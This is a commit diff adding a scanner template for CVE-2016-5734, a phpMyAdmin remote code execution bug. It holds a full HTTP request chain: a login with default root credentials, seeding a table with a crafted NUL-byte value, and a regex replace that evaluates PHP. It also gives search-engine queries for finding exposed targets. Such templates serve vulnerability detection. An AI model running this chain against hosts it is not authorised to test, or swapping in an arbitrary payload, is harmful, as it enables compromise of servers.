CVE-2016-5734 - phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution

2026-11-13 05:42:08 -10:00 · 2026-11-13 19:28:39 +05:30
1 changed files with 96 additions and 0 deletions
@@ -0,0 +1,96 @@
+id: CVE-2016-5734
+
+info:
+  name: phpMyAdmin 4.0.x/4.4.x/4.6.x - Authenticated Remote Code Execution
+  author: DhiyaneshDk
+  severity: critical
+  description: |
+    phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent the preg_replace 'e' (eval) modifier being reachable through the table search-and-replace feature (CVE-2016-5734). On PHP older than 7.0 (where the /e modifier still exists), an authenticated attacker stores a crafted value (0/e followed by a NUL byte) in a table cell, then issues a regex find-and-replace whose replacement string is evaluated as PHP, achieving remote code execution. This template logs in, seeds the crafted row, and evaluates print(md5(<nonce>)) via the replacement, confirming execution when the nonce's md5 appears in the response. The payload is PHP-native (no shell command), so it works on both Windows and Linux hosts.
+  impact: |
+    An authenticated attacker (including one using default/weak MySQL credentials) executes arbitrary PHP and OS commands as the web-server user, leading to full compromise of the host running phpMyAdmin.
+  remediation: |
+    Upgrade to phpMyAdmin 4.0.10.16, 4.4.15.7, 4.6.3 or later, and run on PHP 7.0+ (which removed the vulnerable /e modifier). Restrict phpMyAdmin access and do not use default database credentials.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-5734
+    - https://github.com/advisories/GHSA-rv57-479x-x4qv
+    - https://www.exploit-db.com/exploits/40185
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.8
+    cve-id: CVE-2016-5734
+    cwe-id: CWE-95
+  metadata:
+    verified: true
+    max-request: 4
+    shodan-query: http.title:"phpMyAdmin"
+    fofa-query: title="phpMyAdmin"
+  tags: cve,cve2016,phpmyadmin,rce,authenticated,kev,vkev
+
+variables:
+  username: "root"
+  password: "root"
+  num: "{{rand_int(10000000, 99999999)}}"
+
+flow: http(1) && http(2) && http(3) && http(4)
+
+http:
+  - raw:
+      - |
+        GET /index.php?lang=en HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+        internal: true
+
+    extractors:
+      - type: regex
+        name: token
+        internal: true
+        part: body
+        group: 1
+        regex:
+          - 'name="token" value="([a-f0-9]{16,})"'
+
+  - raw:
+      - |
+        POST /index.php?lang=en HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        pma_username={{username}}&pma_password={{password}}&server=1&target=index.php&token={{token}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 302 || status_code == 200"
+        internal: true
+
+  - raw:
+      - |
+        POST /import.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        db=test&token={{token}}&ajax_request=true&sql_query=CREATE+DATABASE+IF+NOT+EXISTS+test%3B+DROP+TABLE+IF+EXISTS+test.prgpwn%3B+CREATE+TABLE+test.prgpwn+(c+varchar(10))%3B+INSERT+INTO+test.prgpwn+VALUES+(UNHEX(%27302F6500%27))%3B
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code == 200"
+        internal: true
+
+  - raw:
+      - |
+        POST /tbl_find_replace.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        db=test&table=prgpwn&token={{token}}&goto=sql.php&columnIndex=0&useRegex=on&replace=true&submit=Go&ajax_request=true&find=0%2Fe%00&replaceWith=print(md5({{num}}))%3B
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body, md5(num))"